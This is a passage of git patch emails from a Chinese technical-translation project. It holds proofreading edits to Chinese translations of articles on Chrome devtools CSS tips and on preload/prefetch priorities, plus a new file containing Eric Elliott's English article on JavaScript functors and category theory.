-虽然自定义属性的[浏览器支持](http://caniuse.com/#feat=css-variables)并不是很友好（现在 Microsoft Edge 现在[正在开发](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/csscustompropertiesakacssvariables/?q=css%20v)）。我们现在也仍然可以从 CSS 变量中获益。使用自定义变量定义间距和颜色单位可以更改很小的值轻松实现巨大的变化。
+虽然自定义属性的[浏览器支持](http://caniuse.com/#feat=css-variables)并不是很友好（现在 Microsoft Edge 现在[正在开发](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/csscustompropertiesakacssvariables/?q=css%20v)）。我们现在也仍然可以从 CSS 变量中获益。使用自定义变量定义间距和颜色单位可以通过更改很小的值轻松实现巨大的变化。
 
 我在我们网页上定义了下面一些变量：
 
@@ -96,13 +96,13 @@ See the [demo Pen](http://codepen.io/shadeed/pen/2d611749947ac7688c2710248c473e5
 }
 ```
 
-这些变量可以在网站所有的元素上使用，就像链接、导航、边距和背景颜色。当在开发工具中更改一个变量的值，所有相关联的元素都会变更。
+这些变量可以在网站所有的元素上使用，就像链接、导航、边距和背景颜色。当在开发工具中更改一个变量的值，所有相关联的元素都会受到影响。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-12-at-4.34.47-PM.jpg)
 
 ### 使用 CSS 属性 `filter: invert()` 翻转元素 
 
-当你在黑底白字或者白底黑字的情况下，这个属性是很有用的。打个比方，在标题中，我们在黑色背景上将页面标题设为白色，然后在元素上添加了 `filter: invert()`属性，所有的颜色就会被反转。 
+当你在黑底白字或者白底黑字的情况下，这个属性是很有用的。例如，在标题中，我们在黑色背景上将页面标题设为白色，然后在元素上添加了 `filter: invert()`属性，所有的颜色就会被反转。 
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/invert-filter.gif)
 
@@ -112,7 +112,7 @@ See the [demo Pen](http://codepen.io/shadeed/pen/2d611749947ac7688c2710248c473e5
 
 [![](https://i.vimeocdn.com/video/623229127.webp?mw=700&mh=525)](https://player.vimeo.com/video/208011466)
 
-Chrome 有些很酷的工具用来编辑 `box-shadow`、`background-color`、`text-shadow` 和 `color`.
+Chrome 有些很实用的工具用来编辑 `box-shadow`、`background-color`、`text-shadow` 和 `color`.
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/chrome-visual-css.gif)
 

From 8cfcbf2b000db5be95d2d9edaa1312edae32b893 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 6 Apr 2017 22:37:23 +0800
Subject: [PATCH 052/638] Create functors-categories.md

---
 TODO/functors-categories.md | 363 ++++++++++++++++++++++++++++++++++++
 1 file changed, 363 insertions(+)
 create mode 100644 TODO/functors-categories.md

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
new file mode 100644
index 00000000000..a5b81f432c4
--- /dev/null
+++ b/TODO/functors-categories.md
@@ -0,0 +1,363 @@
+> * 原文地址：[Functors & Categories](https://medium.com/javascript-scene/functors-categories-61e031bac53f)
+> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Functors & Categories #
+
+## Composable Software ##
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
+
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
+> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
+> [< Previous](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) 
+
+A **functor** is something that can be mapped over. In other words, it’s a container which has an interface which can be used to apply a function to the values inside it. When you see the word functor, you should think *“mappable”.*
+
+The term “functor” comes from category theory. In category theory, a functor is a mapping between categories. Loosely, a **category** is a group of things, where each “thing” can be any value. In code, a functor is sometimes represented as an object with a `.map()` method that maps from one set of values to another.
+
+A functor supplies a box with zero or more things inside, and a mapping interface. An array is a good example of a functor, but many other kinds of objects can be mapped over as well, including single valued-objects, streams, trees, objects, etc…
+
+For collections (arrays, streams, etc…), `.map()` typically iterates over the collection and applies the given function to each value in the collection, but not all functors iterate.
+
+In JavaScript, Arrays and Promises are functors (`.then()` obeys the functor laws), but lots of libraries exist that will turn a variety of other things into functors, too.
+
+In Haskell, the functor type is defined as:
+
+```
+fmap :: (a -> b) -> f a -> f b
+```
+
+Given a function that takes an `a` and returns a `b` and a functor with zero or more `a`s inside it: `fmap` returns a box with zero or more `b`s inside it. The `f a` and `f b` bits can be read as “a functor of `a`” and “a functor of `b`”, meaning `f a` has `a`s inside the box, and `f b` has `b`s inside the box.
+
+Using a functor is easy — just call `map()`:
+
+```
+const f = [1, 2, 3];
+f.map(double); // [2, 4, 6]
+```
+
+### Functor Laws ###
+
+Categories have two important properties:
+
+1. Identity
+2. Composition
+
+Since a functor is a mapping between categories, functors must respect identity and composition. Together, they’re known as the functor laws.
+
+### Identity ###
+
+If you pass the identity function (`x => x`) into `f.map()`, where `f` is any functor, the result should be equivalent to (have the same meaning as) `f`:
+
+```
+const f = [1, 2, 3];
+f.map(x => x); // [1, 2, 3]
+```
+
+### Composition ###
+
+Functors must obey the composition law: `F.map(x => f(g(x)))` is equivalent to `F.map(g).map(f)`.
+
+Function Composition is the application of one function to the result of another, e.g., given an `x` and the functions, `f` and `g`, the composition `(f ∘ g)(x)` (usually shortened to `f ∘ g` - the `(x)` is implied) means `f(g(x))`.
+
+A lot of functional programming terms come from category theory, and the essence of category theory is composition. Category theory is scary at first, but easy. Like jumping off a diving board or riding a roller coaster. Here’s the foundation of category theory in a few bullet points:
+
+- A category is a collection of objects and arrows between objects (where “object” can mean literally anything).
+- Arrows are known as morphisms. Morphisms can be thought of and represented in code as functions.
+- For any group of connected objects, `a -> b -> c`, there must be a composition which goes directly from `a -> c`.
+- All arrows can be represented as compositions (even if it’s just a composition with the object’s identity arrow). All objects in a category have identity arrows.
+
+Say you have a function `g` that takes an `a` and returns a `b`, and another function `f` that takes a `b` and returns a `c`; there must also be a function `h` that represents the composition of `f` and `g`. So, the composition from `a -> c`, is the composition `f ∘ g` (`f`*after*`g`). So, `h(x) = f(g(x))`. Function composition works right to left, not left to right, which is why `f ∘ g` is frequently called `f`*after*`g`.
+
+Composition is associative. Basically that means that when you’re composing multiple functions (morphisms if you’re feeling fancy), you don’t need parenthesis:
+
+```
+h∘(g∘f) = (h∘g)∘f = h∘g∘f
+```
+
+Let’s take another look at the composition law in JavaScript:
+
+Given a functor, `F`:
+
+```
+const F = [1, 2, 3];
+```
+
+The following are equivalent:
+
+```
+F.map(x => f(g(x)));
+
+// is equivalent to...
+
+F.map(g).map(f);
+```
+
+### Endofunctors ###
+
+An endofunctor is a functor that maps from a category back to the same category.
+
+A functor can map from category to category: `F a -> F b`
+
+An endofunctor maps from a category to the same category: `F a -> F a`
+
+`F` here represents a *functor type* and `a` represents a category variable (meaning it can represent any category, including a set or a category of all possible values in a data type).
+
+A monad is an endofunctor. Remember:
+
+> *“A monad is just a monoid in the category of endofunctors. What’s the problem?”*
+
+Hopefully that quote is starting to make a little more sense. We’ll get to monoids and monads later.
+
+### Build Your Own Functor ###
+
+Here’s a simple example of a functor:
+
+```
+const Identity = value => ({
+  map: fn => Identity(fn(value))
+});
+```
+
+As you can see, it satisfies the functor laws:
+
+```
+// trace() is a utility to let you easily inspect
+// the contents.
+const trace = x => {
+  console.log(x);
+  return x;
+};
+
+const u = Identity(2);
+
+// Identity law
+u.map(trace);             // 2
+u.map(x => x).map(trace); // 2
+
+const f = n => n + 1;
+const g = n => n * 2;
+
+// Composition law
+const r1 = u.map(x => f(g(x)));
+const r2 = u.map(g).map(f);
+
+r1.map(trace); // 5
+r2.map(trace); // 5
+```
+
+Now you can map over any data type, just like you can map over an array. Nice!
+
+That’s about as simple as a functor can get in JavaScript, but it’s missing some features we expect from data types in JavaScript. Let’s add them. Wouldn’t it be cool if the `+` operator could work for number and string values?
+
+To make that work, all we need to do is implement `.valueOf()` -- which also seems like a convenient way to unwrap the value from the functor:
+
+```
+const Identity = value => ({
+  map: fn => Identity(fn(value)),
+
+  valueOf: () => value,
+});
+
+const ints = (Identity(2) + Identity(4));
+trace(ints); // 6
+
+const hi = (Identity('h') + Identity('i'));
+trace(hi); // "hi"
+```
+
+Nice. But what if we want to inspect an `Identity` instance in the console? It would be cool if it would say `"Identity(value)"`, right. Let's add a `.toString()` method:
+
+```
+toString: () => `Identity(${value})`,
+```
+
+Cool. We should probably also enable the standard JS iteration protocol. We can do that by adding a custom iterator:
+
+```
+  [Symbol.iterator]: () => {
+    let first = true;
+    return ({
+      next: () => {
+        if (first) {
+          first = false;
+          return ({
+            done: false,
+            value
+          });
+        }
+        return ({
+          done: true
+        });
+      }
+    });
+  },
+```
+
+Now this will work:
+
+```
+// [Symbol.iterator] enables standard JS iterations:
+const arr = [6, 7, ...Identity(8)];
+trace(arr); // [6, 7, 8]
+```
+
+What if you want to take an `Identity(n)` and return an array of Identities containing `n + 1`, `n + 2`, and so on? Easy, right?
+
+```
+const fRange = (
+  start,
+  end
+) => Array.from(
+  { length: end - start + 1 },
+  (x, i) => Identity(i + start)
+);
+```
+
+Ah, but what if you want this to work with any functor? What if we had a spec that said that each instance of a data type must have a reference to its constructor? Then you could do this:
+
+```
+const fRange = (
+  start,
+  end
+) => Array.from(
+  { length: end - start + 1 },
+
+  // change `Identity` to `start.constructor`
+  (x, i) => start.constructor(i + start)
+);
+
+const range = fRange(Identity(2), 4);
+range.map(x => x.map(trace)); // 2, 3, 4
+```
+
+What if you want to test to see if a value is a functor? We could add a static method on `Identity` to check. We should throw in a static `.toString()` while we're at it:
+
+```
+Object.assign(Identity, {
+  toString: () => 'Identity',
+  is: x => typeof x.map === 'function'
+});
+```
+
+Let’s put all this together:
+
+```
+const Identity = value => ({
+  map: fn => Identity(fn(value)),
+
+  valueOf: () => value,
+
+  toString: () => `Identity(${value})`,
+
+  [Symbol.iterator]: () => {
+    let first = true;
+    return ({
+      next: () => {
+        if (first) {
+          first = false;
+          return ({
+            done: false,
+            value
+          });
+        }
+        return ({
+          done: true
+        });
+      }
+    });
+  },
+
+  constructor: Identity
+});
+
+Object.assign(Identity, {
+  toString: () => 'Identity',
+  is: x => typeof x.map === 'function'
+});
+```
+
+Note you don’t need all this extra stuff for something to qualify as a functor or an endofunctor. It’s strictly for convenience. All you *need* for a functor is a `.map()` interface that satisfies the functor laws.
+
+### Why Functors? ###
+
+Functors are great for lots of reasons. Most importantly, they’re an abstraction that you can use to implement lots of useful things in a way that works with any data type. For instance, what if you want to kick off a chain of operations, but only if the value inside the functor is not `undefined` or `null`?
+
+```
+// Create the predicate
+const exists = x => (x.valueOf() !== undefined && x.valueOf() !== null);
+
+const ifExists = x => ({
+  map: fn => exists(x) ? x.map(fn) : x
+});
+
+const add1 = n => n + 1;
+const double = n => n * 2;
+
+// Nothing happens...
+ifExists(Identity(undefined)).map(trace);
+// Still nothing...
+ifExists(Identity(null)).map(trace);
+
+// 42
+ifExists(Identity(20))
+  .map(add1)
+  .map(double)
+  .map(trace)
+;
+```
+
+Of course, functional programming is all about composing tiny functions to create higher level abstractions. What if you want a generic map that works with any functor? That way you can partially apply arguments to create new functions.
+
+Easy. Pick your favorite auto-curry, or use this magic spell from before:
+
+```
+const curry = (
+  f, arr = []
+) => (...args) => (
+  a => a.length === f.length ?
+    f(...a) :
+    curry(f, a)
+)([...arr, ...args]);
+```
+
+Now we can customize map:
+
+```
+const map = curry((fn, F) => F.map(fn));
+
+const double = n => n * 2;
+
+const mdouble = map(double);
+mdouble(Identity(4)).map(trace); // 8
+```
+
+### Conclusion ###
+
+Functors are things we can map over. More specifically, a functor is a mapping from category to category. A functor can even map from a category back to the same category (i.e., an *endofunctor*).
+
+A category is a collection of objects, with arrows between objects. Arrows represent morphisms (aka functions, aka compositions). Each object in a category has an identity morphism (`x => x`). For any chain of objects `A -> B -> C` there must exist a composition `A -> C`.
+
+Functors are great higher-order abstractions that allow you to create a variety of generic functions that will work for any data type.
+
+**To be continued…**
+
+### Next Steps ###
+
+Want to learn more about functional programming in JavaScript?
+
+[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
+](https://ericelliottjs.com/product/lifetime-access-pass/) 
+
+***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC**, and top recording artists including **Usher, Frank Ocean, Metallica**, and many more.
+
+*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From a0af0b97bbc19872d14b6d7ec025812f179ee202 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 6 Apr 2017 23:16:41 +0800
Subject: [PATCH 053/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...eload-prefetch-and-priorities-in-chrome.md | 66 +++++++++----------
 1 file changed, 33 insertions(+), 33 deletions(-)

diff --git a/TODO/preload-prefetch-and-priorities-in-chrome.md b/TODO/preload-prefetch-and-priorities-in-chrome.md
index cff4244cfc0..9edc8578eec 100644
--- a/TODO/preload-prefetch-and-priorities-in-chrome.md
+++ b/TODO/preload-prefetch-and-priorities-in-chrome.md
@@ -9,21 +9,21 @@
 
 # **Preload，Prefetch 和它们在 Chrome 之中的优先级**
 
-今天我们来深入研究一下 Chrome 的网络协议栈，来更清晰的描述网站加载（像 [**\<link rel=“preload”>**](https://w3c.github.io/preload/) 和 [**\<link rel=“prefetch”>**](https://w3c.github.io/resource-hints/)）背后的工作原理，让你对其更加了解。
+今天我们来深入研究一下 Chrome 的网络协议栈，来更清晰的描述早期网络加载（像 [**\<link rel=“preload”>**](https://w3c.github.io/preload/) 和 [**\<link rel=“prefetch”>**](https://w3c.github.io/resource-hints/)）背后的工作原理，让你对其更加了解。
 
-**像[其他文章](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)描述的那样，preload 是声明式的 fetch，允许你在不阻塞文档 [onload](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload) 事件的同时让浏览器对资源发起请求。**
+**像[其他文章](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)描述的那样，preload 是声明式的 fetch，可以强制浏览器请求资源，同时不阻塞文档 [onload](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload) 事件。**
 
-**Prefetch 是提示浏览器这个资源将来能需要**，但是把决定是否和什么时间加载最佳这个资源的权利委托给浏览器。
+**Prefetch 提示浏览器这个资源将来可能需要**，但是把决定是否和什么时间加载这个资源的决定权交给浏览器。
 
 <img src="https://cdn-images-1.medium.com/max/2000/1*PSMeFcC3AXDUmdNf5l19Ug.jpeg">
 
-Preload 将 load 事件与脚本解析事件解耦，如果你还没有用过它，看看 Yoav Weiss 的文章 [Preload: What is it Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)。
+Preload 将 load 事件与脚本解析过程解耦，如果你还没有用过它，看看 Yoav Weiss 的文章 [Preload: What is it Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)。
 
 ### Preload 在生产环境的成功案例
 
 在我们深入细节之前，下面是上一年发现的使用 proload 并对加载产生积极影响的案例总结：
 
-Housing.com 在对他们的仿原生 Web App 的脚本转用 proload 看到[**大约缩短了10%的可交互时间**](https://twitter.com/HousingEngg/status/844169796891508737)。
+Housing.com 在对他们的渐进式 Web 应用程序的脚本转用 proload 看到[**大约缩短了10%的可交互时间**](https://twitter.com/HousingEngg/status/844169796891508737)。
 
 <img src="https://cdn-images-1.medium.com/max/2000/1*fZH0GKzI42x7IgxKfiaddA.png">
 
@@ -37,19 +37,19 @@ Shopify 在转用 [preload 加载字体](https://www.bramstein.com/writing/prelo
 
 使用`<link rel=”preload”>` 加载字体。
 
-Treebo，印度最大的旅馆网站之一，在 3G 网络下对其桌面版试验，在对其顶部图片和主要的 Webpack 打包文件使用 preload 之后，在**首屏绘制和可交互时间分别节约了大约** [**1s**](https://twitter.com/__lakshya/status/844429211867791361)。
+Treebo，印度最大的旅馆网站之一，在 3G 网络下对其桌面版试验，在对其顶部图片和主要的 Webpack 打包文件使用 preload 之后，在**首屏绘制和可交互延迟分别减少了** [**1s**](https://twitter.com/__lakshya/status/844429211867791361)。
 
 <img src="https://cdn-images-1.medium.com/max/2000/1*SKYdHNpGldFFUPZBDZQgSQ.png">
 
-同样的，在对自己的仿原生 Web App 主要打包文件使用 preload 之后，Flipkart 在路由解析之前 **节省了大量的主线程空闲时间**（在 3G 网络下的低性能手机下）。
+同样的，在对自己的渐进式 Web 应用程序主要打包文件使用 preload 之后，Flipkart 在路由解析之前 **节省了大量的主线程空闲时间**（在 3G 网络下的低性能手机下）。
 
 <img src="https://cdn-images-1.medium.com/max/1000/0*QL0ztXPZ1wUXpRKX.">
 
 上面：未使用 preload，下面：使用 preload
 
-Chrome 数据保护小组声明在对脚本和 CSS 样式表使用 preload 之后，对页面第一次绘制获得[**平均 12%**](https://medium.com/reloading/a-link-rel-preload-analysis-from-the-chrome-data-saver-team-5edf54b08715#.bgj9qkqfr) 的性能提升。
+Chrome 数据保护团队在对脚本和 CSS 样式表使用 preload 之后，发现页面首次绘制时间获得[**平均 12%**](https://medium.com/reloading/a-link-rel-preload-analysis-from-the-chrome-data-saver-team-5edf54b08715#.bgj9qkqfr) 的速度提升。
 
-对于 prefetch ，它被广泛使用，在 Google 我们仍用它来获取可以加快 [搜索结果页面](https://plus.google.com/+IlyaGrigorik/posts/ahSpGgohSDo) 的喧染的关键资源。
+对于 prefetch ，它被广泛使用，在 Google 我们仍用它来获取可以加快 [搜索结果页面](https://plus.google.com/+IlyaGrigorik/posts/ahSpGgohSDo) 的渲染的关键资源。
 
 Preload 在很多大型网站都有实际应用，这点你在接下来的文章里也可以看到，让我们来仔细探讨下网络协议栈实际上是如何对待 preload 和 prefetch 的。
 
@@ -63,7 +63,7 @@ prefetch 应用场景稍微又些不同 —— 用户将来可能在其他部分
 
 使用 preload 和 prefetch，我们有了对当前页面和将来页面加载关键资源的解决办法。
 
-###  \<link rel=”preload”> ？ 和 \<link rel=”prefetch”> 的缓存行为
+###  \<link rel="preload"> 和 \<link rel="prefetch"> 的缓存行为
 
 [Chrome 有四种缓存](https://calendar.perfplanet.com/2016/a-tale-of-four-caches/): HTTP 缓存，内存缓存，Service Worker 缓存和 Push 缓存。preload 和 prefetch 都被存储在 **HTTP 缓存中**。
 
@@ -71,19 +71,19 @@ prefetch 应用场景稍微又些不同 —— 用户将来可能在其他部分
 
 ### Chrome 对于 preload 和 prefetch 的网络优先级？
 
-下面是在 Chrome 46 版本中不同资源的加载优先级情况（ [Pat Meenan](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit#)）
+下面是在 Blink 内核的 Chrome 46 及更高版本中不同资源的加载优先级情况（ [Pat Meenan](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit#)）
 
 <img src="https://cdn-images-1.medium.com/max/1000/1*BTi3YhvCAYiJYRpjNQft9Q.jpeg">
 
-preload 用 “as” 或者用 “type” 属性来表示他们请求资源的优先级（比如说 preload 使用 as="type" 属性将获得最高的优先级）。没有 “as” 属性的将被看作异步请求，感谢 Paul Irish 更新这张关于开发者工具以及网络层上各种请求优先级的表。
+preload 用 “as” 或者用 “type” 属性来表示他们请求资源的优先级（比如说 preload 使用 as="style" 属性将获得最高的优先级）。没有 “as” 属性的将被看作异步请求，“Early”意味着在所有未被预加载的图片请求之前被请求（“late”意味着之后）,感谢 Paul Irish 更新这张关于开发者工具以及网络层上各种请求优先级的表。
 
 我们来谈一下这张表。
 
-**脚本根据它们在文件中的位置是否异步、延迟和阻塞获得不同的优先级**：
+**脚本根据它们在文件中的位置是否异步、延迟或阻塞获得不同的优先级**：
 
-* 网络在第一个图片资源之前阻塞的脚本：中级
-* 网络在第一个图片资源之后阻塞的脚本：低级
-* 异步／延迟／插入的脚本（无论在什么位置）：很低
+* 网络在第一个图片资源之前阻塞的脚本在网络优先级中是中级
+* 网络在第一个图片资源之后阻塞的脚本在网络优先级中是低级
+* 异步／延迟／插入的脚本（无论在什么位置）在网络优先级中是很低级
 
 图片（视口可见）将会获得相对于视口不可见图片（低级）的更高的优先级（中级），所以某些程度上 Chrome 将会尽量懒加载这些图片。低优先级的图片在布局完成被视口发现时，将会获得优先级提升（但是注意已经在布局完成后的图片将不会更改优先级）。
 
@@ -91,7 +91,7 @@ preload 使用 “as” 属性加载的资源将会获得与资源 “type” 
 
 不带 “as” 属性的 preload 的优先级将会等同于异步请求。
 
-如果你想了解各种资源加载时的优先级属性，用开发者工具的 Timeline/Performance 的 Network 看到的信息如下：
+如果你想了解各种资源加载时的优先级属性，从开发者工具的 Timeline/Performance 区域的 Network 区域都能看到相关信息：
 
 <img  src="https://cdn-images-1.medium.com/max/2000/1*5QsDQsYJ4ts-4Tl0_1dZwQ.png">
 
@@ -107,33 +107,33 @@ preload 使用 “as” 属性加载的资源将会获得与资源 “type” 
 
 ### 这将会浪费用户的带宽吗？
 
-**用“preload”和“prefetch”情况下，如果字眼不能被缓存，那么都有可能浪费一部分带宽。
+**用“preload”和“prefetch”情况下，如果资源不能被缓存，那么都有可能浪费一部分带宽。
 
-没有用到的 preload 资源在 Chrome 的 console 里会在 3s 后发生警告。
+没有用到的 preload 资源在 Chrome 的 console 里会在 *onload* 事件 3s 后发生警告。
 
 <img src="https://cdn-images-1.medium.com/max/1000/0*Um55iV_tEBO3eXEs.">
 
-原因是你可能为乐改善性能使用 preload 来缓存一定的资源，但是如果没有用到，你就做了无用功。在手机上，这相当于浪费了用户的流量，所以明确你要 preload 对象。
+原因是你可能为了改善性能使用 preload 来缓存一定的资源，但是如果没有用到，你就做了无用功。在手机上，这相当于浪费了用户的流量，所以明确你要 preload 对象。
 
 ### 什么情况会导致二次获取？
 
 preload 和 prefetch 是很简单的工具，你很容易不小心[二次获取](https://bugs.chromium.org/p/chromium/issues/list?can=2&amp;q=preload%20double%20owner%3Ayoav%40yoav.ws)。
 
-不要用 “prefetch” 作为 “preload” 的后备，它们是为了不同的场景很容易导致不符合预期的二次获取。使用 preload 来获取当前需要任务否则使用 prefetch 来获取将来的任务，不要一起用。
+不要用 “prefetch” 作为 “preload” 的后备，它们适用于不同的场景，常常会导致不符合预期的二次获取。使用 preload 来获取当前需要任务否则使用 prefetch 来获取将来的任务，不要一起用。
 
 <img src="https://cdn-images-1.medium.com/max/1000/0*KKong0kz69LOteD3.">
 
-不要在 preload 中使用 fetch()，在 Chrome 中这样使用将会导致二次的下载。这并不只发生在异步请求的情况我们有一个关于这个问题公开的 [bug](https://bugs.chromium.org/p/chromium/issues/detail?id=652228)。
+不要指望 preload 和 fetch() 配合使用，在 Chrome 中这样使用将会导致二次的下载。这并不只发生在异步请求的情况我们有一个关于这个问题公开的 [bug](https://bugs.chromium.org/p/chromium/issues/detail?id=652228)。
 
 **对 preload 使用 “as” 属性，不然将不会从中获益**。
 
 如果你对你所 preload 的资源使用明确的 “as” 属性，比如说，脚本，你将会导致[二次获取](https://twitter.com/DasSurma/status/808791438171537408)。
 
-**preload 字体不带 crossorigin 也将会二次获取！** 确保你对 preload的字体添加 [crossorigin](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) 属性，否则他会被下载两次，这个请求使用匿名的跨域模式。这个建议也适用于字体文件在相同域名下，也适用于其他域名的获取(比如说默认的异步获取)。
+**preload 字体不带 crossorigin 也将会二次获取！** 确保你对 preload 的字体添加 [crossorigin](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes) 属性，否则他会被下载两次，这个请求使用匿名的跨域模式。这个建议也适用于字体文件在相同域名下，也适用于其他域名的获取(比如说默认的异步获取)。
 
-**存在 intergrity 属性的资源不能使用 preload 属性（目前）也会导致二次获取**，链接元素的 `[integrity](https://bugs.chromium.org/p/chromium/issues/detail?id=677022)` 属性目前还没有被支持，目前有一个关于它的开放[issue](https://github.com/w3c/webappsec-subresource-integrity/issues/26)，这意味着存在 integrity 的元素将会丢弃 preload 的资源。往宽了讲，这会导致重复的请求，你需要在安全和性能之间作出权衡。
+**存在 intergrity 属性的资源不能使用 preload 属性（目前）也会导致二次获取。**链接元素的 `[integrity](https://bugs.chromium.org/p/chromium/issues/detail?id=677022)` 属性目前还没有被支持，目前有一个关于它的开放[issue](https://github.com/w3c/webappsec-subresource-integrity/issues/26)，这意味着存在 integrity 的元素将会丢弃 preload 的资源。往宽了讲，这会导致重复的请求，你需要在安全和性能之间作出权衡。
 
-最后，虽然会导致一些二次获取，还是有下面的建议：
+最后，虽然它不会导致二次获取，还是有下面的建议：
 
 **不要 preload 所有东西！** 作为替代的，用 preload 来告诉浏览器一些本来不能被提早发现的资源，以便提早获取它们。
 
@@ -141,7 +141,7 @@ preload 和 prefetch 是很简单的工具，你很容易不小心[二次获取]
 
 这是**工具而不是规则**的好例子。你 preload 的文件数量取决于加载其他资源时网络内容、用户的带宽和其他网络状况。
 
-尽早 preload 页面中可能需要的文件，对于脚本文件，preload 关键打包文件很有用因为它将加载与执行分离开来，`script async>`不好因为它会阻塞 window 的 onload 事件。你可以尽早加载图片、样式、字体和媒体资源。大部分的 —— 最重要的是，你作为作者是可以清晰的知道哪些东西是页面目前需要的。
+尽早 preload 页面中可能需要的文件，对于脚本文件，preload 关键打包文件很有用因为它将加载与执行分离开来，`script async`不好因为它会阻塞 window 的 onload 事件。你可以尽早加载图片、样式、字体和媒体资源。大部分的 —— 最重要的是，你作为作者是可以清晰的知道哪些东西是页面目前需要的。
 
 ### prefetch 有哪些你需要知道的魔法属性吗？当然
 
@@ -155,7 +155,7 @@ preload 将资源获取与执行解耦，像这样，preload 在标记中声明
 
 ### 等一下，我不是可以用 HTTP/2 的服务器推送来代替 preload 吗？
 
-当你知道资源加载的正确顺序时使用推送，用 service worker 来拦截哪些可能需要会导致二次获取的资源请求，用 preload 来加快第一个请求的开始时间 —— 这对所有的资源获取都有用。
+当你知道资源加载的正确顺序时使用推送，用 service worker 来拦截那些可能需要会导致二次获取的资源请求，用 preload 来加快第一个请求的开始时间 —— 这对所有的资源获取都有用。
 
 再次说一下，这都要看[情况](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)，我们试想一下位 Google Play 商店做购物车，对于一个向购物车的请求：
 
@@ -165,7 +165,7 @@ preload 将资源获取与执行解耦，像这样，preload 在标记中声明
 
 虽然推送很有效，但它不像 preload 那样对所有的情况都适应。
 
-preload 利于下载与执行的解耦，感谢其对文档 onload 事件的支持我们现在可以控制其加载完毕后的事件，获取 JS 包文件在空闲快执行或者获取 CSS 模块在正确的时间点执行，可以说是非常强大的。
+preload 利于下载与执行的解耦，多亏其对文档 onload 事件的支持我们现在可以控制其加载完毕后的事件，获取 JS 包文件在空闲快执行或者获取 CSS 模块在正确的时间点执行，可以说是非常强大的。
 
 推送不能用于第三方资源的内容，通过立即发送资源，它还有效地缩短浏览器自身的资源优先级情况。在你明确的知道在做什么时，这应该会提高你的应用性能，如果不是很清晰的话，你也许会损失掉部分的性能。
 
@@ -195,9 +195,9 @@ preload 利于下载与执行的解耦，感谢其对文档 onload 事件的支
 	      return relList.supports('preload');
 	    };
 
-FilamentGroup 也有一个作为他们的异步 CSS 加载库 [loadCSS](https://github.com/filamentgroup/loadCSS) [检测 preload](https://github.com/filamentgroup/loadCSS/blob/master/src/cssrelpreload.js#L8-L14) 的部分。
+FilamentGroup 也有一个 [preload](https://github.com/filamentgroup/loadCSS/blob/master/src/cssrelpreload.js#L8-L14) 检测器 ，作为他们的异步 CSS 加载库 [loadCSS](https://github.com/filamentgroup/loadCSS) 的一部分。
 
-### 你可以立即将 preload 应用到 CSS 样式表吗？
+### 你可以让 preload的 CSS 样式表立即生效吗？
 
 当然，preload 支持基于异步加载的标记，使用 `<link rel=”preload”>` 的样式表使用 `onload` 事件立即应用到文档：
 
@@ -215,7 +215,7 @@ FilamentGroup 也有一个作为他们的异步 CSS 加载库 [loadCSS](https://
 
